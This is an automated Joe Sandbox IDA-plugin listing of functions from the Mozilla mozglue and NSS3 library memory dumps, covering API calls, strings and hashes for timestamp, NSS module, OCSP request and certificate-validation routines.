Associated: 00000000.00000002.2082780680.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2082817495.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2082859140.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: d3ae8401c27400ee55f2975a39f8a3589055e8d9470abf777dce3f29b47e64f4
Instruction ID: 6de52796d05949d1965db8d9dc0e7357ba653e58ba362b32aa36b1c4926efa32
Opcode Fuzzy Hash: d3ae8401c27400ee55f2975a39f8a3589055e8d9470abf777dce3f29b47e64f4
Instruction Fuzzy Hash: 97B1B579B083919FDB08DF28C44561A77F5FB89714F05892EE89AD3760DB70A801CB96

Function 6CB4C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CB4C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CB4C969
GetSystemInfo.KERNEL32(?), ref: 6CB4C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CB4C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CB4C9E2

Memory Dump Source

Source File: 00000000.00000002.2082687482.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2082656492.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2082780680.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2082817495.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2082859140.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: fd97a1c22084b36b855738aec6d47aec0eb0bfc196781df840794e0eeda6e61f
Instruction ID: c1b9a1ab4fadaa51039ee399f67ff83f7dcc53471292bf767cf5d7bebe68f34f
Opcode Fuzzy Hash: fd97a1c22084b36b855738aec6d47aec0eb0bfc196781df840794e0eeda6e61f
Instruction Fuzzy Hash: F3214935705218BBDB01AA78CCD4BAE73B9FB46B00F60442AF943A7A40DF709C048795

Function 6CB33060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CB33095

Part of subcall function 6CB335A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CBBF688,00001000), ref: 6CB335D5
Part of subcall function 6CB335A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CB335E0
Part of subcall function 6CB335A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CB335FD
Part of subcall function 6CB335A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CB3363F
Part of subcall function 6CB335A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CB3369F
Part of subcall function 6CB335A0: __aulldiv.LIBCMT ref: 6CB336E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB3309F

Part of subcall function 6CB55B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB556EE,?,00000001), ref: 6CB55B85
Part of subcall function 6CB55B50: EnterCriticalSection.KERNEL32(6CBBF688,?,?,?,6CB556EE,?,00000001), ref: 6CB55B90
Part of subcall function 6CB55B50: LeaveCriticalSection.KERNEL32(6CBBF688,?,?,?,6CB556EE,?,00000001), ref: 6CB55BD8
Part of subcall function 6CB55B50: GetTickCount64.KERNEL32 ref: 6CB55BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CB330BE

Part of subcall function 6CB330F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CB33127
Part of subcall function 6CB330F0: __aulldiv.LIBCMT ref: 6CB33140

Part of subcall function 6CB6AB2A: __onexit.LIBCMT ref: 6CB6AB30

Memory Dump Source

Source File: 00000000.00000002.2082687482.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2082656492.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2082780680.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2082817495.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2082859140.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: afd1103e89250932d3b15dca893e946d4d6538678e8a20aac6aa07e7e894b1be
Instruction ID: 2ebfece716d82d0408f55ff379d9bd015a24134350b3eb38152f963f9e0fcd12
Opcode Fuzzy Hash: afd1103e89250932d3b15dca893e946d4d6538678e8a20aac6aa07e7e894b1be
Instruction Fuzzy Hash: 15F0F91AE2078996CA10DF7888515EA7374AF6B114F50131AEC4963521FF2061D8C399

Non-executed Functions

Function 6CC66E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CDB2120,6CC67E60), ref: 6CC66EBC
TlsGetValue.KERNEL32 ref: 6CC66EDF
EnterCriticalSection.KERNEL32(?), ref: 6CC66EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CC66F25

Part of subcall function 6CC3A900: TlsGetValue.KERNEL32(00000000,?,6CDB14E4,?,6CBD4DD9), ref: 6CC3A90F
Part of subcall function 6CC3A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CC3A94F

PR_Unlock.NSS3 ref: 6CC66F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CC66FA9
TlsGetValue.KERNEL32 ref: 6CC670B4
EnterCriticalSection.KERNEL32(?), ref: 6CC670C8
PR_CallOnce.NSS3(6CDB24C0,6CCA7590), ref: 6CC67104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC67117
SECOID_Init.NSS3 ref: 6CC67128
PORT_Alloc_Util.NSS3(00000057), ref: 6CC6714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC6717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC671A9
PR_NotifyAllCondVar.NSS3 ref: 6CC671CF
PR_Unlock.NSS3 ref: 6CC671DD
free.MOZGLUE(?), ref: 6CC671EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC67208
free.MOZGLUE(00000000), ref: 6CC67221
free.MOZGLUE(00000001), ref: 6CC67235
TlsGetValue.KERNEL32 ref: 6CC6724A
EnterCriticalSection.KERNEL32(?), ref: 6CC6725E
PR_NotifyCondVar.NSS3 ref: 6CC67273
PR_Unlock.NSS3 ref: 6CC67281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CC67291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC672B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC672D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC672E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC67301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC67310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC67335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC67344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC67363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC67372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CDA0148,,defaultModDB,internalKeySlot), ref: 6CC674CC
free.MOZGLUE(00000000), ref: 6CC67513
free.MOZGLUE(00000000), ref: 6CC6751B
free.MOZGLUE(00000000), ref: 6CC67528
free.MOZGLUE(00000000), ref: 6CC6753C
free.MOZGLUE(00000000), ref: 6CC67550
free.MOZGLUE(00000000), ref: 6CC67561
free.MOZGLUE(00000000), ref: 6CC67572
free.MOZGLUE(00000000), ref: 6CC67583
free.MOZGLUE(00000000), ref: 6CC67594
free.MOZGLUE(00000000), ref: 6CC675A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CC675BD
free.MOZGLUE(00000000), ref: 6CC675C8
free.MOZGLUE(00000000), ref: 6CC675F1
PR_NewLock.NSS3 ref: 6CC67636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CC67686
PR_NewLock.NSS3 ref: 6CC676A2

Part of subcall function 6CD198D0: calloc.MOZGLUE(00000001,00000084,6CC40936,00000001,?,6CC4102C), ref: 6CD198E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CC676B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CC67707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CC6771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CC67731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CC6774A
DeleteCriticalSection.KERNEL32(?), ref: 6CC67770
free.MOZGLUE(?), ref: 6CC67779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC6779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC677AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CC677C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC677DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CC67821
PORT_Alloc_Util.NSS3(?), ref: 6CC67837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CC6785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC6786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CC678AC
free.MOZGLUE(00000000), ref: 6CC678BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CC678F3
free.MOZGLUE(00000000), ref: 6CC678FC
free.MOZGLUE(00000000), ref: 6CC6791C

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

Strings

rdb:, xrefs: 6CC67744
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CC674C7
kbi., xrefs: 6CC67886
dbm:, xrefs: 6CC67716
extern:, xrefs: 6CC6772B
Spac, xrefs: 6CC67389
sql:, xrefs: 6CC676FE
NSS Internal Module, xrefs: 6CC674A2, 6CC674C6
,defaultModDB,internalKeySlot, xrefs: 6CC6748D, 6CC674AA
dll, xrefs: 6CC6788E

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: cfa364c8539ccfa95d20f64b9b04f6644d4e7f3b79e3b52eba363e94e8737f0c
Instruction ID: 166a3e98d695a43c3eb684f3a6da8f82bbd22ce5ba3f42a18c816f24154a7136
Opcode Fuzzy Hash: cfa364c8539ccfa95d20f64b9b04f6644d4e7f3b79e3b52eba363e94e8737f0c
Instruction Fuzzy Hash: 915222B1E00201DBEF109FA6DE857AE7BB8BF05348F144929EE09A6E50F731D954CB91

Function 6CC5EA80 Relevance: 107.5, APIs: 49, Strings: 12, Instructions: 735stringmemoryCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000), ref: 6CC5EAB1

Part of subcall function 6CD19090: TlsGetValue.KERNEL32 ref: 6CD190AB
Part of subcall function 6CD19090: TlsGetValue.KERNEL32 ref: 6CD190C9
Part of subcall function 6CD19090: EnterCriticalSection.KERNEL32 ref: 6CD190E5
Part of subcall function 6CD19090: TlsGetValue.KERNEL32 ref: 6CD19116
Part of subcall function 6CD19090: LeaveCriticalSection.KERNEL32 ref: 6CD1913F

PR_ExitMonitor.NSS3 ref: 6CC5EAC5

Part of subcall function 6CD19440: TlsGetValue.KERNEL32 ref: 6CD1945B
Part of subcall function 6CD19440: TlsGetValue.KERNEL32 ref: 6CD19479
Part of subcall function 6CD19440: EnterCriticalSection.KERNEL32 ref: 6CD19495
Part of subcall function 6CD19440: TlsGetValue.KERNEL32 ref: 6CD194E4
Part of subcall function 6CD19440: TlsGetValue.KERNEL32 ref: 6CD19532
Part of subcall function 6CD19440: LeaveCriticalSection.KERNEL32 ref: 6CD1955D

PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CC5EBAF
PR_Socket.NSS3(00000002,00000001,00000000), ref: 6CC5EBF8
PR_StringToNetAddr.NSS3(?,?), ref: 6CC5EC20
PORT_Alloc_Util.NSS3(00000800), ref: 6CC5EC39
PR_GetHostByName.NSS3(?,00000000,00000800,?), ref: 6CC5EC5A
PR_EnumerateHostEnt.NSS3(00000000,?,?,?), ref: 6CC5EC85
free.MOZGLUE(?), ref: 6CC5ECB6
PR_SetError.NSS3(FFFFE078,00000000), ref: 6CC5ECCF
free.MOZGLUE(?), ref: 6CC5ED10
free.MOZGLUE(?), ref: 6CC5ED26
PR_InitializeNetAddr.NSS3(00000000,?,?), ref: 6CC5ED35
PR_snprintf.NSS3(?,00000010,:%d,?), ref: 6CC5ED7F
PR_smprintf.NSS3(POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u,?,?,00000000,?), ref: 6CC5EDAB
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC5EDBE
free.MOZGLUE(00000000), ref: 6CC5EE9B
PR_smprintf.NSS3(GET %s HTTP/1.0Host: %s%s,?,?,00000000), ref: 6CC5EEB1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC5EEC0
free.MOZGLUE(00000000), ref: 6CC5EEE2
free.MOZGLUE(00000000), ref: 6CC5EEF2
free.MOZGLUE(?), ref: 6CC5EF15
free.MOZGLUE(?), ref: 6CC5EF27
realloc.MOZGLUE(00000000,-00000401), ref: 6CC5EF5C

Part of subcall function 6CC5E910: PL_strncasecmp.NSS3(?,http://,00000007), ref: 6CC5E93B
Part of subcall function 6CC5E910: PR_SetError.NSS3(FFFFE075,00000000), ref: 6CC5E94E

strstr.VCRUNTIME140(-000000F8,), ref: 6CC5F00C
strstr.VCRUNTIME140(00000000,6CDA010D), ref: 6CC5F03F
strchr.VCRUNTIME140(00000000,00000020), ref: 6CC5F055
PL_strncasecmp.NSS3(00000000,HTTP/,00000005), ref: 6CC5F06D
free.MOZGLUE(00000000), ref: 6CC5F07A
PR_SetError.NSS3(FFFFE077,00000000), ref: 6CC5F08A
strchr.VCRUNTIME140(?,00000020), ref: 6CC5F0AC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,200), ref: 6CC5F0C4
strchr.VCRUNTIME140(?,0000003A), ref: 6CC5F0FA
strstr.VCRUNTIME140(-00000002,6CDA010D), ref: 6CC5F124
PL_strcasecmp.NSS3(?,content-type), ref: 6CC5F13D
PL_strcasecmp.NSS3(?,content-length), ref: 6CC5F14F
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(?), ref: 6CC5F15F
PL_strcasecmp.NSS3(?,application/ocsp-response), ref: 6CC5F1A0
memcpy.VCRUNTIME140(00000000,?), ref: 6CC5F1CD
PR_SetError.NSS3(FFFFE077,00000000), ref: 6CC5F231
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6CC5F387
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6CC5F39C
free.MOZGLUE(00000000), ref: 6CC5F3A5
free.MOZGLUE(00000000), ref: 6CC5F3B1

Part of subcall function 6CC40F00: PR_GetPageSize.NSS3(6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F1B
Part of subcall function 6CC40F00: PR_NewLogModule.NSS3(clock,6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F25

Strings

content-length, xrefs: 6CC5F149
GET, xrefs: 6CC5EB53
application/ocsp-request, xrefs: 6CC5EE25
GET %s HTTP/1.0Host: %s%s, xrefs: 6CC5EEAC
200, xrefs: 6CC5F0BB
POST, xrefs: 6CC5EB58, 6CC5EB81
application/ocsp-response, xrefs: 6CC5F19A
:%d, xrefs: 6CC5ED73
http, xrefs: 6CC5EB86
POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u, xrefs: 6CC5EDA6
content-type, xrefs: 6CC5F137
HTTP/, xrefs: 6CC5F067

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$Value$Error$CriticalSection$EnterL_strcasecmpstrchrstrstr$AddrHostL_strncasecmpLeaveMonitorR_smprintfUtilmemcpystrlen$AllocAlloc_EnumerateExitInitializeItem_ModuleNamePageR_snprintfSizeSocketStringatoireallocstrcmp
String ID: 200$:%d$GET$GET %s HTTP/1.0Host: %s%s$HTTP/$POST$POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u$application/ocsp-request$application/ocsp-response$content-length$content-type$http
API String ID: 3957390022-1324771758
Opcode ID: 0f8be9a98752a1ca9795dc5a90f8ec96cc51fc34a40098c4a43203aaba090d0c
Instruction ID: 58bbd1171f39461be6c5f6706f6fd187274cfeb40d3de1dd1c5c72d663f635a1
Opcode Fuzzy Hash: 0f8be9a98752a1ca9795dc5a90f8ec96cc51fc34a40098c4a43203aaba090d0c
Instruction Fuzzy Hash: B742E1B1609301AFE7049F65DC84B5B7BE8AF85348F44442CF94983B50F735E929CBA6

Function 6CC5CA70 Relevance: 84.8, APIs: 56, Instructions: 849threadtimememoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC5CB45
PORT_ZAlloc_Util.NSS3(00000040), ref: 6CC5CB5B
CERT_GetConstrainedCertificateNames.NSS3(?,00000010,?), ref: 6CC5CBEB
realloc.MOZGLUE(?,00000000), ref: 6CC5CC3B
PR_SetError.NSS3(FFFFE029,00000000), ref: 6CC5CD25
PR_GetCurrentThread.NSS3 ref: 6CC5CD35
CERT_FindCertIssuer.NSS3(?,00000001,?,00000001), ref: 6CC5CD74
CERT_CheckCertValidTimes.NSS3(?,00000001,?,00000000), ref: 6CC5CD9D
PR_GetCurrentThread.NSS3 ref: 6CC5CDBA
PR_SetError.NSS3(FFFFE01E,00000000), ref: 6CC5CDD2
PR_GetCurrentThread.NSS3 ref: 6CC5CDE9
PR_SetError.NSS3(FFFFE024,00000000), ref: 6CC5CE7C
PR_GetCurrentThread.NSS3 ref: 6CC5CE93
PR_SetError.NSS3(FFFFE025,00000000), ref: 6CC5CEC1
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CC5CF8F
memcmp.VCRUNTIME140(?,6CD796B4,00000048), ref: 6CC5CFC8
PR_GetCurrentThread.NSS3 ref: 6CC5D071
CERT_GetCertTrust.NSS3(?,?), ref: 6CC5D091
PR_SetError.NSS3(FFFFE024,00000000), ref: 6CC5D0C6
PR_GetCurrentThread.NSS3 ref: 6CC5D0DD
PR_SetError.NSS3(FFFFE05A,00000000), ref: 6CC5D116
PR_GetCurrentThread.NSS3 ref: 6CC5D131
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CC5D1D9
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CC5D225
CERT_DestroyCertificate.NSS3(?), ref: 6CC5D410
PR_SetError.NSS3(FFFFE0B6,00000000), ref: 6CC5D44E
PR_GetCurrentThread.NSS3 ref: 6CC5D45E
PR_GetCurrentThread.NSS3 ref: 6CC5D1EC

Part of subcall function 6CC5C9A0: PORT_ArenaAlloc_Util.NSS3(00000000,00000018,?,00000001,00000000,?,6CC5D864,?,00000000,?), ref: 6CC5C9AE

PR_SetError.NSS3(FFFFE014,00000000), ref: 6CC5D285
PR_GetCurrentThread.NSS3 ref: 6CC5D298
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CC5D2D7
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CC5D330
PR_GetCurrentThread.NSS3 ref: 6CC5D34C
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CC5D392
CERT_DestroyCertificate.NSS3(?), ref: 6CC5D3BC
PR_SetError.NSS3(FFFFE00D,00000000), ref: 6CC5D3DF
PR_GetCurrentThread.NSS3 ref: 6CC5D3EE
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CC5CE12

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PR_GetCurrentThread.NSS3 ref: 6CC5CE22
PR_GetCurrentThread.NSS3 ref: 6CC5CED8
memcmp.VCRUNTIME140(?,6CD796FC,00000048), ref: 6CC5CFDC
CERT_GetCertTimes.NSS3(?,?,?), ref: 6CC5CFF6
PR_GetCurrentThread.NSS3 ref: 6CC5CDFD

Part of subcall function 6CD19BF0: TlsGetValue.KERNEL32(?,?,?,6CD60A75), ref: 6CD19C07

PR_GetCurrentThread.NSS3 ref: 6CC5CE52
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CC5D4C4
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CC5D4E2
PR_GetCurrentThread.NSS3 ref: 6CC5D4EA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC5D515
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CC5D52C
PR_GetCurrentThread.NSS3 ref: 6CC5D540
free.MOZGLUE(?), ref: 6CC5D567
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC5D575
CERT_DestroyCertificate.NSS3(?), ref: 6CC5D584
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC5D592

Part of subcall function 6CC706A0: TlsGetValue.KERNEL32 ref: 6CC706C2
Part of subcall function 6CC706A0: EnterCriticalSection.KERNEL32(?), ref: 6CC706D6
Part of subcall function 6CC706A0: PR_Unlock.NSS3 ref: 6CC706EB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CurrentErrorThread$CertificateDestroyUtil$Cert$Value$Alloc_Arena_Timesmemcmp$ArenaCheckConstrainedCriticalEnterEqual_FindFreeIssuerItemsNamesPublicSectionTrustUnlockValidfreerealloc
String ID:
API String ID: 3754541784-0
Opcode ID: 01069d393cb6014a650796d6f04943c0bd0bab1ded6db342b450758c4c8b6dd2
Instruction ID: 40d9528faf47954a08561266e479a732d45fc82908fbba5072e8055b8962b5a9
Opcode Fuzzy Hash: 01069d393cb6014a650796d6f04943c0bd0bab1ded6db342b450758c4c8b6dd2
Instruction Fuzzy Hash: 92522371A083019BEB109F65CD80B5BB7E1BF88308F944528F95597B61F731E83ACB96

Function 6CCA09B0 Relevance: 66.8, APIs: 44, Instructions: 817memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6CCA1AD3), ref: 6CCA09D5
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6CCA1AD3), ref: 6CCA09E9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CCA0A18
PR_SetError.NSS3(00000000,00000000), ref: 6CCA0A30
memcpy.VCRUNTIME140(?,00000000,00000020,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CCA0CC9
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CCA0D05
EnterCriticalSection.KERNEL32(?), ref: 6CCA0D19
PR_Unlock.NSS3(?), ref: 6CCA0D36
free.MOZGLUE(?), ref: 6CCA0D75
TlsGetValue.KERNEL32 ref: 6CCA0DA1
EnterCriticalSection.KERNEL32(?), ref: 6CCA0DB5
PR_Unlock.NSS3(?), ref: 6CCA0DEB
PORT_Alloc_Util.NSS3(?), ref: 6CCA0DFF
PR_Unlock.NSS3(?), ref: 6CCA0E37
free.MOZGLUE(?), ref: 6CCA0E4E
PR_SetError.NSS3(00000000,00000000), ref: 6CCA0E6A
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CCA0E9A
TlsGetValue.KERNEL32 ref: 6CCA0F23
EnterCriticalSection.KERNEL32(?), ref: 6CCA0F37
